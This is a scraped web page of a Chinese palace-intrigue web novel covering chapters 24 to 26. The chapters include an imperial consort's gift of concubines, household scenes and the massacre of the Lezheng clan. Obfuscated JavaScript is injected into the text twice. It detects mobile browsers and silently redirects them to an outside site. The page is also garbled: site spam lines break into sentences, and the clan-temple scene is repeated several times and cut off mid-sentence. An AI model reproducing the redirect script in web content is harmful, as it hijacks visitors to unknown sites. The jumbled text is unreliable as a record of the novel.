宋亭舟翻身下马,雪生接过他手里的缰绳退至一旁。 “贵妃娘娘究竟是何意,专门派人来本官 听说看这本书的人都是很幸运的,分享后你的运气会更棒 家中诋毁夫郎名声吗?”宋亭舟冷脸的时候没有几个人能顶得住,他声音低沉,带着难以抗拒的威压,一句话就将刚才还咄咄逼人的两个女使问到僵在原地,不敢胡乱说话。 侍卫们有心想为两名女使开脱两句,但抬头对上宋亭舟冷峻的脸色,谁都没有勇气张嘴。 “是奴婢等僭越,还望大人恕罪,奴婢……奴婢这就自罚。”其中一位女使顶不住宋亭舟施加的压迫感,咬着牙说出这番话后,抬起右手就扇了自己一个响亮的巴掌,随后视线偷偷上移,去观察宋亭舟的脸色。 宋亭舟眼神冷漠,面无表情的扫过去的瞬间,女使便明白此事不能善了。 宫中没有单纯无知的宫女,更何况是她们这样混到贵妃娘娘身边办事的,今日人若是送不出去,挨几巴掌都是轻的。 她同另外一位女使对视了一眼,两人狠下心来各自掌嘴十几下,直到打的脸颊红肿,才听宋亭舟淡淡的说:“还望两位姑娘日后管住自己口舌,若是来日,本官听到任何关于我夫郎善嫉的传闻,少不得要请两位姑娘往顺天府走上一遭。” 女使顶着一张红肿的脸,说话都有些含糊不清,“大人放心,是奴婢说错了话,再不敢胡乱言语。但贵妃娘娘听闻大人子嗣不丰,身边伺候的人也……”也不尽心几个字被她咽进肚子里,“身边伺候的人不多,所以才赐下两位美人,还请大人笑纳。” 侍卫壮着胆子在一旁帮腔,“宋大人,我等也是奉命行事,还望大人不要为难。”今日这人,不管宋亭舟要不要,他们都铁定要送入宋家。 聂贵妃之尊贵,仅次于皇帝和太子,甚至因为定襄国公的缘故,凌驾于皇后之上,她的命令,谁又敢违抗呢? 宋亭舟脸色不变,“既如此,你们将人留下,回宫去吧。” 女使急了,“宋大人,贵妃娘娘吩咐我等一定要将人送进宋家的大门!” 宋亭舟的语气不容置疑,“要么带着这两人一同离开,要么现在就将人留下,如若敢在我面前胡搅蛮缠,便以寻衅滋事的名义统统押到顺天府衙门。” 他说话掷地有声,看着也不像是说说而已。 两名女使没了主意,眼神看向护送他们出宫的侍卫们。 前朝后宫,两个谁也得罪不起,侍卫头领心里合计了一下,拱手对女使说道:“我等只是护送姑姑的,两位姑姑只管自己做主。” 你的朋友正在书荒,快去帮帮他吧 “你!一名女使怒目而视,另一位却拉住她认命,今日若是贵妃娘娘亲自来还能要个说法,她们只是女使罢了,在宋亭舟这样冷心冷肺的高官面前也只是个奴才。 “罢了,左右人已经交到宋大人手里,我二人也算完成了任务,宋大人,奴婢这边回宫去了。 她话说完自己反倒先松了口气,侍卫们恭恭敬敬的对宋亭舟抱拳行礼,一行人就这样大张旗鼓的来,又偃旗息鼓的退了。 聂贵妃的人都消失在街角,雪生忍不住上前询问:“大人,这两人要怎么办? 聂贵妃竟然还很贴心的送来一女娘和一个哥儿,容貌都不凡俗,最重要的是比起二十多岁的孟晚,这两人正是如花般的年龄。 在宋亭舟审视的目光下,两人的头越来越低。 他们自小就被挑选出来,什么用途不言而喻。 比起被送给那些大腹便便、样貌丑陋、或是年龄太大,家中妻妾成群的官老爷,宋亭舟这样年轻、俊朗又专情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我觉着不是,纳妾怎么不抬个轿子?” “你懂什么?人家买两个漂亮的进去先做通房丫头,悄无声息地就给抬成妾室了。” “啧啧……真是……” 桂诚扯着嗓子骂了句,“胡说八道什么!在背后乱嚼舌根,有本事到顺天府衙门说去!” 雪生制止了桂诚与人争吵,但自己的眉头却越皱越紧,放在身侧的拳头也在逐渐用力。 他相信大人不会将这二人收入房里,但家里多了人就会多生事端,保不齐夫郎会心中难受。 “呦,哪来得漂亮小美人啊,可许了人家?” 正当雪生心烦意乱之际,他们前面突然出现一道高大的身影,流里流气的调戏起雪生身后的两个美人来。 旁人也就算了,雪生面色古怪的看着面前打扮古怪,还以黑布遮面的蒙面人,只觉得他身形有些熟悉。 “我们……我们是贵妃娘娘送给宋大人的侍妾和侍君,你这歹人,识相些就快快离去!”见雪生不说话,贵妃送来的两个人里,其中的女娘奓着胆子对蒙面人说道。 什么侍妾侍君的,本大爷看上了就是本大爷的!要是不想跟我走,那我只能把你的买家都给宰了,再把你们俩带走慢慢享用了!”那蒙面人半点道理不讲,说完就飞扑过来几脚就将桂诚和其余几个小厮给踹飞了。 雪生护在女娘和小哥儿面前,出手和蒙面人缠斗在了一起。 两人在大街上打的难解难分,眼见着就要将巡逻的五成兵马司的人给引来了。而那两个贵妃送来的女娘小哥儿正在拼命敲打宋家的侧门,蒙面人终于急了,“雪生哥,演演得了,再耽误时间,我动真格的了!” 雪生闻言动作一顿,故意装作被黑衣人打了一掌,飞出去老远砸到了宋家的院墙上,猛地吐了一大口血出来。 蒙面人低头看看自己双掌:“?” 西侧门真要有人开门了,五成兵马司这几天巡逻又勤,蒙面人再顾不得其他,一手一个薅起拍门的女娘小哥儿就往巷子里跑去。 借了城中人牙子的车马出城,蒙面人给他们俩一人扔了一包碎银,“要么老老实实的给我待着,要么被我先奸后杀,自己选。” 那两人也不是傻子,哆哆嗦嗦的捡起荷包,“我们不回京,可以……可以放我们走了吗?” “呵,放你们走?开什么玩笑?”蒙面人嗤笑一声,招呼赶车的人牙子道:“把人都送到郊外的沐泉庄里头去,让他们俩各自挑个人嫁了。” 第25章 诛九族 “我年前在郊外买了座庄子,半山腰比寻常庄子多了座汤泉,因此叫沐泉庄。” 孟晚在饭桌子上对郑淑慎和兰娘说:“改日路上好走了,我带你们去山上泡汤泉去,不带孩子,就咱们三个。” 他这人心思细,情商满级,若是有心结交,任何人都愿意与他做朋友。 兰娘本就因为当年柴郡的事对他有好感,孟晚回京后就更愿意和他玩了。郑淑慎一个规规矩矩的夫郎,也愿意同孟晚待在一起。 他看了眼身边的夫君,吴昭远看懂了他的意思,笑着说道:“想去就去,整日闷在家里无趣,和弟妹弟夫多去玩玩吧。” 两人多年无子,郑淑慎已成心结,吴昭远规劝过,可效果不佳,郑淑慎比他更想有个孩子。 多和孟晚他们出去也好,散散心,纾解心结。不然等他岳父岳母来了,他恐怕又…… 唉,吴昭远心里轻叹。 孟晚的厨艺这些年磨练的越来越来好,一大桌子的饭菜基本上都没怎么剩下。 饭后三家人凑在一起又聊了一会儿,多是说说这七年各自的机遇。 祝泽宁平平无奇,在家有祝三爷护着,婚后有大舅哥帮衬,现在宋亭舟回来了,知道他们交情好,连上司都温柔了起来。 “上次我告假,本来上官还不肯,一听我是去接景行的,二话没说就放我走了。”祝泽宁深刻体会到了朝中有人好办事。 一屋子人都笑了,相比之下吴昭远的遭遇就坎坷的多,人际关系又复杂。 “在江南是我过得最轻松惬意的时候。”对上大家心疼的眼神,吴昭远反倒神态轻松,他倒是觉得自己气运不错,一路都能遇上贵人。 宋亭舟沉吟片刻问道:“吴巍可上门找过你?” 吴昭远摇头,“如今知道我是吴家人的,只有你和泽宁,剩下的早就全死光了。” “如此也好。”宋亭舟放下了心。 从吴家吃过饭回去,孟晚与宋亭舟又去看常金花,阿寻说她已经没有大碍,明日药量再减,喝上两天也就彻底好了。 看完常金花,孟晚又在家里晃悠了一圈,总觉得忘了点什么…… 蚩羽折腾了一通回到宋家天都快黑了,他甚至都没着急先去找宋亭舟复命,赶紧到前院雪生屋里去看他。 “雪生哥 ,你没事吧?”蚩羽心急火燎的说。 雪生本来躺在床上闭目休息,被他一嗓子差点直接送走。 无奈的劝了一句,“小羽,你小点声音。” “好的好的。”蚩羽蹑手蹑脚的关上门进来,拖了把凳子坐在雪生床边。 雪生和蚩羽一样,单独一间屋子,蚩羽住正院孟晚和宋亭舟院里,雪生住前院。 雪生对住处要求不高,他屋子的东西都是孟晚亲自挑的,床是四柱架子床,三侧都挂了深色的锦帐。四开的衣架,小扇的屏风,八仙桌和配套的凳子,火炉连着盘炕,地龙、炭盆等一样不少。 蚩羽坐在雪生床边,半是愧疚半是不解,“雪生哥你也太拼了吧?意思意思就算了,干嘛把自己给伤的这么重啊!” 雪生揉了揉闷痛的胸口,“我也不知道大人是怎么交代你的,总归是做戏给旁人看,大人的位置在这儿其实受限很大,贵妃这边就算得罪了做事也不好太明显,我怕咱们被人看穿会对大人不利。” 蚩羽挠挠头,“你这……唉,说得也是。” 他从椅子上坐起来,“你吃饭了没啊?我去厨房给你拿点吃的?” 雪生摇头,“暂且不饿,你别忙活了,院里四处都是仆从,我随便喊他们一声就是了。” 正说着,紧闭的房门被人敲响,孟晚在门口唤了声,“雪生,我进来了?” 蚩羽忙不迭跑去开门,“夫郎,我在屋里呢。” 孟晚带着黄叶进来,稀奇的瞅了他一眼,“你早上和我去吴家,中途跑去哪儿玩了?还算你有良心,知道你雪生哥病了还过来看望他。” 蚩羽垂下带着丝心虚的眼睛,“没出去玩,大人吩咐我办了点事,我回来听说雪生哥生病了,就过来看看。夫郎,雪生哥既然没事我就走啦?” “把墙角的桌几搬过来再走。”孟晚指挥蚩羽干活。 比床略高一些的桌几被蚩羽搬到雪生床边,他干完活就找借口溜了。桌几是方形的,能充当个床头柜,平常放油灯用,这会儿正好给雪生当饭桌。 孟晚和黄叶把饭菜一样样放上去,“我问过阿寻了,给你做得几样都是你能吃的,青菜瘦肉粥、香油炖猪血、还有一碟子木耳炒鸡蛋。这些是你往日的分量,不够吃就叫松山松樵,他俩这两日就在你屋里伺候。吃不完也不用勉强,俩小子能吃着呢,几口就给顺 便拾掇了。” 孟晚一口气交代完,黄叶还有补充的,“雪生哥,药包在我那儿放着,每日三碗,到时候我都给你送过来,你安心休息,阿寻说你用不了多久就好了。” 雪生从床上半坐起来依着床头,“也没什么大碍的,不至于你们这般费心。” 孟晚对他翻了个白眼,“在哪儿学得这般交情,一家人和我们说两家话来。” 黄叶也责怪的嗔他,“就是,雪生哥你快好好吃饭养病就成了。” 被他俩一人数落一句,雪生苦笑着投降,“好好好,是我的错,我不说了,吃饭。” 孟晚给他舀了一勺粥,他明明是应该不知道具体发生了何事的,却还是略有预感的说:“多多照顾自己身体,无论何事,我和夫君也不用你牺牲自己。” 雪生眼圈红了一片,他吞下一口咸香的米粥,没滋没味又万般滋味的“嗯”了一声。 从雪生房间离开,孟晚回了正院他和宋亭舟的卧房,什么话都不说,就挡在宋亭舟前面抬眸望他。 宋亭舟失笑,“你这是做什么?” 孟晚虚虚弯起他那双漂亮的眼睛,“蚩羽被你派去干什么坏事了?” 香皂现在全国普及,他家也采买着用,宋亭舟带着一身香皂的清香把孟晚拐到床上,“他给人做媒去了。” “做媒?蚩羽?”孟晚任由宋亭舟给他去了厚重外袍,连着被子被他裹进怀里。 宋亭舟连亲了他几口,然后将头重重的搁在孟晚颈窝,闷声说道:“一些腌臜事,已经解决了,不想让你知道了生气。” 他语气中甚至带上了几分郁闷和撒娇的意味,百年难见。 孟晚瞬间心软,“我不生气,你也不必太过在意,左右不过是一些人看不过旁人过得顺畅,给家里送几个人过来添堵。” 他感受到宋亭舟在自己腰上作乱的手滞住了,眼神一沉,“竟然还真是啊,谁这么闲的没事干,林苁蕙?” 宋亭舟把另一只手也伸了进去,声音低沉暗哑,“聂贵妃。” 也不知他在被子里干了什么好事,让孟晚呼吸乱了拍子,断断续续的说:“堂堂……贵妃,竟然操心臣子家的房里人,要不要脸!” 最后几个字声音说的咬牙切齿,一语双关。 宋亭舟翻身压上来堵住他轻喘的口舌, 只将他的唇蹂躏到红艳泛肿,才喘着粗重的呼吸问:“在骂谁?” 他技术愈发娴熟,孟晚魂儿都丢了大半,浑浑沌沌的说:“说她,在说姓聂的贵妃吃饱了撑得……别别别,轻点~” “在床上不许谈论他人。”宋亭舟说完又吻了上去,孟晚欲哭无泪,他就不该多问。 —— 皇上要整治世家的传闻早就有了,可谁都以为世家屹立不倒,便是倒了,最先倒霉的也该是每况愈下的吴家。 没想到一直在金城低调做人的乐正家,先被抄家灭族。 皇室威严不可侵犯,叛国是要连诛九族的,皇上铁了心要把这群旧国余孽都灭个干净,恨不得连门口的蚂蚁窝都用开水灌烫。 整座金城被围的水泄不通,家家户户闭门不出,衙门的人在整个城内巡逻,生怕漏掉一个漏网之鱼。 乐正家本家上上下下共千口的人,在外的几乎全被皇上派去的士兵绞杀,不明不白的死在这个寒冷的冬日。 余下金城的族人最多,正用他们自己偷偷私蓄的甲兵做最后的反抗。可惜是定襄国公亲自带兵,这种程度的抵抗在他看来只是螳臂当车,反而坐实了乐正家**的事实。 乐正家的大门很快就被攻破,这是定襄国公打的最轻松的一场仗。 到处都是鲜血、残肢和死尸,他身边的亲卫却早已经习惯这样的杀戮。 怒骂声与妇孺孩童的哭喊声连成一片,最终都变成绝望的惨叫。 外面乱成一团,乐正家的祠堂里却一片寂静。本该在刑部大牢的乐正崎突兀的出现在这里,他穿着一身小兵的甲胄,在祠堂里晃了一圈后突然扬声说道:“你们真以为躲在里面就不会被人发现吗?等大批金银珠宝被抬出乐正家的大门,整座大宅都会被烧毁,你们会被活活烧死在里面。” 冷风吹起祠堂供桌上的红布,带起一阵阴森的冷意。 祠堂内半点动静也无。 厮杀声再向这边靠近,门外带着一小队士兵的总旗焦急地说道:“阿崎你能不能快点,一会儿若是被聂川发现后果不堪设想。” 乐正崎目光死气沉沉,厮杀声再向这边靠近,他继续说道:“再说,定襄国公是傻的吗?族谱上少了那么多人,他难道是瞎了才看不到吗?四大家族中都有皇上的人你们不会现在才知道吧?”虽说那些人只是奴仆,接触不到家 族核心,但主支有多少祖老孩童还是一清二楚的。 一阵“轰隆隆”的震动声在祠堂内响起,那是重石摩擦地面的声音。七八个苍老的老人目光如炬的盯着他。 全都是乐正家标志性的浅色头发,深陷的眼窝和同样颜色浅淡的眼睛。 “你也是我们乐正家的人?”为首的老人显然发现了乐正崎的长相有异。 “不对,你是阿悦的儿子!”另一个老人觉得他长相十分眼熟,竟然直接认出了他的身份。 许久没听见有人提及母亲的名字了,乐正崎眼神恍惚片刻,然后又重新锐利起来,甚至因为回忆起了小时候不愉快的记忆,目光中染上了一层显而易见的怒火。 “你们还敢提我母亲!” 长老们也想起了陈年旧事,他们并不觉得自己有错,“你母亲是因为触犯了族规,她贵为公主,整个金城的青年才俊都可供她挑选,她和谁在一起不好,偏偏瞒着族人招惹禹国的皇室,还剩下你这个……这个孽种。” “所以你们就杀了他们,我娘、孔嬷嬷、陈妈妈、赞儿、所有和我娘有关联的人,包括我。”乐正崎嘴角是翘起的弧度,轮廓深邃的眼睛含着滔天的恨意,那般笔墨厚重的俊美脸庞,此刻笑着竟比哭起来还要难看。 “你恨我们,所以是你想禹国的皇帝举发了乐正家的事?”族老苍老的脸面向乐正崎。 其他族老一字一句的问:“你是怎么知道的?是阿悦死前告诉了你?” “当初果然不应该留他一条命。” 乐正崎听着他们你一言我一语的话,双目猩红,他厉声反问:“难道我不该恨你们吗?” 族老眼角无意识的抽动了两下,他心中自是恨不得将乐正崎千刀万剐,但口中却不得不对他妥协,“如今再论是非也多说无益,你恨我们,可族中妇孺何其无辜,看在我们当年留你一命的份上,你放了他们吧。” 密室中还残存着主支一脉的孩童和妇人,那些孩子就是乐正家的希望。 乐正崎在寒风中褪去了半边衣裳,露出脖颈下坑坑洼洼的恐怖伤痕,他神情冷漠到比窗外的风霜还冰寒,“我们一族**的时候,可有谁站出来帮过我们吗?那些孩子就死在你们面前,你们有动容过吗?放了他们让禹国皇帝迁怒与我,再害死我的夫郎儿子,你们也配?” “当年我没死,你们就应该预料到,我会回来,将整个乐正一族——覆灭。” 乐正崎永远也忘不了母亲被架在高高的柴堆上,同数百个亲近的奴仆被那把大火烧得有多惨烈。 亲人痛苦的哀嚎声折磨得他日日夜夜都不能安歇,只要闭上眼睛,面前就是那场烧了二十多年的大火。 那天的惨叫与哀嚎声同今日折叠在一起,实在分不清哪一个更触目惊心。 守在门口的总旗突然大声嚷道:“你们来的也太晚了,祠堂里还剩下几个老头。” 乐正崎动作飞快的走出祠堂退到总旗身后,大批的士兵涌入,连厮杀声掀泛不起来,只是单方面的荼虐。 族老们**后,祠堂的密室也很快被发现,士兵们顺着密道出去,那些躲藏起来的主支被找到也只是时间早晚的问题。 乐正崎闭上眼,在心中默念。 “今日罪孽都是我一人犯下,与妻儿无关,来日要报复,也只管报复到我自己身上吧。” 族核心,但主支有多少祖老孩童还是一清二楚的。 一阵“轰隆隆”的震动声在祠堂内响起,那是重石摩擦地面的声音。七八个苍老的老人目光如炬的盯着他。 全都是乐正家标志性的浅色头发,深陷的眼窝和同样颜色浅淡的眼睛。 “你也是我们乐正家的人?”为首的老人显然发现了乐正崎的长相有异。 “不对,你是阿悦的儿子!”另一个老人觉得他长相十分眼熟,竟然直接认出了他的身份。 许久没听见有人提及母亲的名字了,乐正崎眼神恍惚片刻,然后又重新锐利起来,甚至因为回忆起了小时候不愉快的记忆,目光中染上了一层显而易见的怒火。 “你们还敢提我母亲!” 长老们也想起了陈年旧事,他们并不觉得自己有错,“你母亲是因为触犯了族规,她贵为公主,整个金城的青年才俊都可供她挑选,她和谁在一起不好,偏偏瞒着族人招惹禹国的皇室,还剩下你这个……这个孽种。” “所以你们就杀了他们,我娘、孔嬷嬷、陈妈妈、赞儿、所有和我娘有关联的人,包括我。”乐正崎嘴角是翘起的弧度,轮廓深邃的眼睛含着滔天的恨意,那般笔墨厚重的俊美脸庞,此刻笑着竟比哭起来还要难看。 “你恨我们,所以是你想禹国的皇帝举发了乐正家的事?”族老苍老的脸面向乐正崎。 其他族老一字一句的问:“你是怎么知道的?是阿悦死前告诉了你?” “当初果然不应该留他一条命。” 乐正崎听着他们你一言我一语的话,双目猩红,他厉声反问:“难道我不该恨你们吗?” 族老眼角无意识的抽动了两下,他心中自是恨不得将乐正崎千刀万剐,但口中却不得不对他妥协,“如今再论是非也多说无益,你恨我们,可族中妇孺何其无辜,看在我们当年留你一命的份上,你放了他们吧。” 密室中还残存着主支一脉的孩童和妇人,那些孩子就是乐正家的希望。 乐正崎在寒风中褪去了半边衣裳,露出脖颈下坑坑洼洼的恐怖伤痕,他神情冷漠到比窗外的风霜还冰寒,“我们一族**的时候,可有谁站出来帮过我们吗?那些孩子就死在你们面前,你们有动容过吗?放了他们让禹国皇帝迁怒与我,再害死我的夫郎儿子,你们也配?” “当年我没死,你们就应该预料到,我会回来,将整个乐正一族——覆灭。” 乐正崎永远也忘不了母亲被架在高高的柴堆上,同数百个亲近的奴仆被那把大火烧得有多惨烈。 亲人痛苦的哀嚎声折磨得他日日夜夜都不能安歇,只要闭上眼睛,面前就是那场烧了二十多年的大火。 那天的惨叫与哀嚎声同今日折叠在一起,实在分不清哪一个更触目惊心。 守在门口的总旗突然大声嚷道:“你们来的也太晚了,祠堂里还剩下几个老头。” 乐正崎动作飞快的走出祠堂退到总旗身后,大批的士兵涌入,连厮杀声掀泛不起来,只是单方面的荼虐。 族老们**后,祠堂的密室也很快被发现,士兵们顺着密道出去,那些躲藏起来的主支被找到也只是时间早晚的问题。 乐正崎闭上眼,在心中默念。 “今日罪孽都是我一人犯下,与妻儿无关,来日要报复,也只管报复到我自己身上吧。” 族核心,但主支有多少祖老孩童还是一清二楚的。 一阵“轰隆隆”的震动声在祠堂内响起,那是重石摩擦地面的声音。七八个苍老的老人目光如炬的盯着他。 全都是乐正家标志性的浅色头发,深陷的眼窝和同样颜色浅淡的眼睛。 “你也是我们乐正家的人?”为首的老人显然发现了乐正崎的长相有异。 “不对,你是阿悦的儿子!”另一个老人觉得他长相十分眼熟,竟然直接认出了他的身份。 许久没听见有人提及母亲的名字了,乐正崎眼神恍惚片刻,然后又重新锐利起来,甚至因为回忆起了小时候不愉快的记忆,目光中染上了一层显而易见的怒火。 “你们还敢提我母亲!” 长老们也想起了陈年旧事,他们并不觉得自己有错,“你母亲是因为触犯了族规,她贵为公主,整个金城的青年才俊都可供她挑选,她和谁在一起不好,偏偏瞒着族人招惹禹国的皇室,还剩下你这个……这个孽种。” “所以你们就杀了他们,我娘、孔嬷嬷、陈妈妈、赞儿、所有和我娘有关联的人,包括我。”乐正崎嘴角是翘起的弧度,轮廓深邃的眼睛含着滔天的恨意,那般笔墨厚重的俊美脸庞,此刻笑着竟比哭起来还要难看。 “你恨我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16454951|178259||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,所以是你想禹国的皇帝举发了乐正家的事?”族老苍老的脸面向乐正崎。 其他族老一字一句的问:“你是怎么知道的?是阿悦死前告诉了你?” “当初果然不应该留他一条命。” 乐正崎听着他们你一言我一语的话,双目猩红,他厉声反问:“难道我不该恨你们吗?” 族老眼角无意识的抽动了两下,他心中自是恨不得将乐正崎千刀万剐,但口中却不得不对他妥协,“如今再论是非也多说无益,你恨我们,可族中妇孺何其无辜,看在我们当年留你一命的份上,你放了他们吧。” 密室中还残存着主支一脉的孩童和妇人,那些孩子就是乐正家的希望。 乐正崎在寒风中褪去了半边衣裳,露出脖颈下坑坑洼洼的恐怖伤痕,他神情冷漠到比窗外的风霜还冰寒,“我们一族**的时候,可有谁站出来帮过我们吗?那些孩子就死在你们面前,你们有动容过吗?放了他们让禹国皇帝迁怒与我,再害死我的夫郎儿子,你们也配?” “当年我没死,你们就应该预料到,我会回来,将整个乐正一族——覆灭。” 乐正崎永远也忘不了母亲被架在高高的柴堆上,同数百个亲近的奴仆被那把大火烧得有多惨烈。 亲人痛苦的哀嚎声折磨得他日日夜夜都不能安歇,只要闭上眼睛,面前就是那场烧了二十多年的大火。 那天的惨叫与哀嚎声同今日折叠在一起,实在分不清哪一个更触目惊心。 守在门口的总旗突然大声嚷道:“你们来的也太晚了,祠堂里还剩下几个老头。” 乐正崎动作飞快的走出祠堂退到总旗身后,大批的士兵涌入,连厮杀声掀泛不起来,只是单方面的荼虐。 族老们**后,祠堂的密室也很快被发现,士兵们顺着密道出去,那些躲藏起来的主支被找到也只是时间早晚的问题。 乐正崎闭上眼,在心中默念。 “今日罪孽都是我一人犯下,与妻儿无关,来日要报复,也只管报复到我自己身上吧。” 族核心,但主支有多少祖老孩童还是一清二楚的。 一阵“轰隆隆”的震动声在祠堂内响起,那是重石摩擦地面的声音。七八个苍老的老人目光如炬的盯着他。 全都是乐正家标志性的浅色头发,深陷的眼窝和同样颜色浅淡的眼睛。 “你也是我们乐正家的人?”为首的老人显然发现了乐正崎的长相有异。 “不对,你是阿悦的儿子!”另一个老人觉得他长相十分眼熟,竟然直接认出了他的身份。 许久没听见有人提及母亲的名字了,乐正崎眼神恍惚片刻,然后又重新锐利起来,甚至因为回忆起了小时候不愉快的记忆,目光中染上了一层显而易见的怒火。 “你们还敢提我母亲!” 长老们也想起了陈年旧事,他们并不觉得自己有错,“你母亲是因为触犯了族规,她贵为公主,整个金城的青年才俊都可供她挑选,她和谁在一起不好,偏偏瞒着族人招惹禹国的皇室,还剩下你这个……这个孽种。” “所以你们就杀了他们,我娘、孔嬷嬷、陈妈妈、赞儿、所有和我娘有关联的人,包括我。”乐正崎嘴角是翘起的弧度,轮廓深邃的眼睛含着滔天的恨意,那般笔墨厚重的俊美脸庞,此刻笑着竟比哭起来还要难看。 “你恨我们,所以是你想禹国的皇帝举发了乐正家的事?”族老苍老的脸面向乐正崎。 其他族老一字一句的问:“你是怎么知道的?是阿悦死前告诉了你?” “当初果然不应该留他一条命。” 乐正崎听着他们你一言我一语的话,双目猩红,他厉声反问:“难道我不该恨你们吗?” 族老眼角无意识的抽动了两下,他心中自是恨不得将乐正崎千刀万剐,但口中却不得不对他妥协,“如今再论是非也多说无益,你恨我们,可族中妇孺何其无辜,看在我们当年留你一命的份上,你放了他们吧。” 密室中还残存着主支一脉的孩童和妇人,那些孩子就是乐正家的希望。 乐正崎在寒风中褪去了半边衣裳,露出脖颈下坑坑洼洼的恐怖伤痕,他神情冷漠到比窗外的风霜还冰寒,“我们一族**的时候,可有谁站出来帮过我们吗?那些孩子就死在你们面前,你们有动容过吗?放了他们让禹国皇帝迁怒与我,再害死我的夫郎儿子,你们也配?” “当年我没死,你们就应该预料到,我会回来,将整个乐正一族——覆灭。” 乐正崎永远也忘不了母亲被架在高高的柴堆上,同数百个亲近的奴仆被那把大火烧得有多惨烈。 亲人痛苦的哀嚎声折磨得他日日夜夜都不能安歇,只要闭上眼睛,面前就是那场烧了二十多年的大火。 那天的惨叫与哀嚎声同今日折叠在一起,实在分不清哪一个更触目惊心。 守在门口的总旗突然大声嚷道:“你们来的也太晚了,祠堂里还剩下几个老头。” 乐正崎动作飞快的走出祠堂退到总旗身后,大批的士兵涌入,连厮杀声掀泛不起来,只是单方面的荼虐。 族老们**后,祠堂的密室也很快被发现,士兵们顺着密道出去,那些躲藏起来的主支被找到也只是时间早晚的问题。 乐正崎闭上眼,在心中默念。 “今日罪孽都是我一人犯下,与妻儿无关,来日要报复,也只管报复到我自己身上吧。” 族核心,但主支有多少祖老孩童还是一清二楚的。 一阵“轰隆隆”的震动声在祠堂内响起,那是重石摩擦地面的声音。七八个苍老的老人目光如炬的盯着他。 全都是乐正家标志性的浅色头发,深陷的眼窝和同样颜色浅淡的眼睛。 “你也是我们乐正家的人?”为首的老人显然发现了乐正崎的长相有异。 “不对,你是阿悦的儿子!”另一个老人觉得他长相十分眼熟,竟然直接认出了他的身份。 许久没听见有人提及母亲的名字了,乐正崎眼神恍惚片刻,然后又重新锐利起来,甚至因为回忆起了小时候不愉快的记忆,目光中染上了一层显而易见的怒火。 “你们还敢提我母亲!” 长老们也想起了陈年旧事,他们并不觉得自己有错,“你母亲是因为触犯了族规,她贵为公主,整个金城的青年才俊都可供她挑选,她和谁在一起不好,偏偏瞒着族人招惹禹国的皇室,还剩下你这个……这个孽种。” “所以你们就杀了他们,我娘、孔嬷嬷、陈妈妈、赞儿、所有和我娘有关联的人,包括我。”乐正崎嘴角是翘起的弧度,轮廓深邃的眼睛含着滔天的恨意,那般笔墨厚重的俊美脸庞,此刻笑着竟比哭起来还要难看。 “你恨我们,所以是你想禹国的皇帝举发了乐正家的事?”族老苍老的脸面向乐正崎。 其他族老一字一句的问:“你是怎么知道的?是阿悦死前告诉了你?” “当初果然不应该留他一条命。” 乐正崎听着他们你一言我一语的话,双目猩红,他厉声反问:“难道我不该恨你们吗?” 族老眼角无意识的抽动了两下,他心中自是恨不得将乐正崎千刀万剐,但口中却不得不对他妥协,“如今再论是非也多说无益,你恨我们,可族中妇孺何其无辜,看在我们当年留你一命的份上,你放了他们吧。” 密室中还残存着主支一脉的孩童和妇人,那些孩子就是乐正家的希望。 乐正崎在寒风中褪去了半边衣裳,露出脖颈下坑坑洼洼的恐怖伤痕,他神情冷漠到比窗外的风霜还冰寒,“我们一族**的时候,可有谁站出来帮过我们吗?那些孩子就死在你们面前,你们有动容过吗?放了他们让禹国皇帝迁怒与我,再害死我的夫郎儿子,你们也配?” “当年我没死,你们就应该预料到,我会回来,将整个乐正一族——覆灭。” 乐正崎永远也忘不了母亲被架在高高的柴堆上,同数百个亲近的奴仆被那把大火烧得有多惨烈。 亲人痛苦的哀嚎声折磨得他日日夜夜都不能安歇,只要闭上眼睛,面前就是那场烧了二十多年的大火。 那天的惨叫与哀嚎声同今日折叠在一起,实在分不清哪一个更触目惊心。 守在门口的总旗突然大声嚷道:“你们来的也太晚了,祠堂里还剩下几个老头。” 乐正崎动作飞快的走出祠堂退到总旗身后,大批的士兵涌入,连厮杀声掀泛不起来,只是单方面的荼虐。 族老们**后,祠堂的密室也很快被发现,士兵们顺着密道出去,那些躲藏起来的主支被找到也只是时间早晚的问题。 乐正崎闭上眼,在心中默念。 “今日罪孽都是我一人犯下,与妻儿无关,来日要报复,也只管报复到我自己身上吧。” 第26章 赤霞丹 ——西梧府赫山县 孟晚走之前将聂知遥父子俩安顿到了赫山县的松韵学校附近,与聂先生比邻,相互之间还能照应,绯哥儿白日去书院上课也方便。 “阿爹,我们什么时候才能回家啊?父亲说会来接我们的。”绯哥儿把被子遮到鼻子上,只露出一双眼睛来,眼巴巴的望着聂知遥。 聂知遥已经听儿子说过无数次这句话了,他吹熄了油灯躺进被子里,熟练地哄他道:“就快了,你父亲说话向来算数,早点睡吧,明早学院开始开课,别迟到了。” 绯哥儿很乖,没一会儿就闭上眼睛安睡,父子俩伴着对乐正崎的思念陷入梦乡,全然不知小院的外面躺了一地的尸体。 葛全杀鸡一样杀了一圈的人,全程都没又发出半点多余的动静。 太子和秦啸云也动了手,但比起葛全来终究是差了些。 太子看向葛全的目光中带着欣赏的神色,秦啸云则蹲在地上掀开其中一个**的衣领,衣裳内侧是银线绣上去的三爪银龙,代表皇室赐予的无上荣耀,可惜见不得光。 “殿下,是龙潜卫的人,不是皇上的近卫金龙卫,是银龙。”秦啸云对宫廷守卫十分熟悉,秦家虽然无人被选入龙潜卫,但也曾听说过历代皇帝身边有一支神秘近卫。 太子似乎对眼前发生的事没有太过出乎预料,“看来乐正崎已经开始行动了。” 秦啸云眼中闪过一丝精光,“那咱们能回京了?” 太子轻笑,“是该让我的好皇弟找到我了,希望带给他的是惊喜,而不是惊吓。” 盛京皇宫—— “陛下,乐正家六千八百九十三口人、奴、畜,都已处刑完毕。当下除了乐正崎一家外,乐正家已经无一活口。” 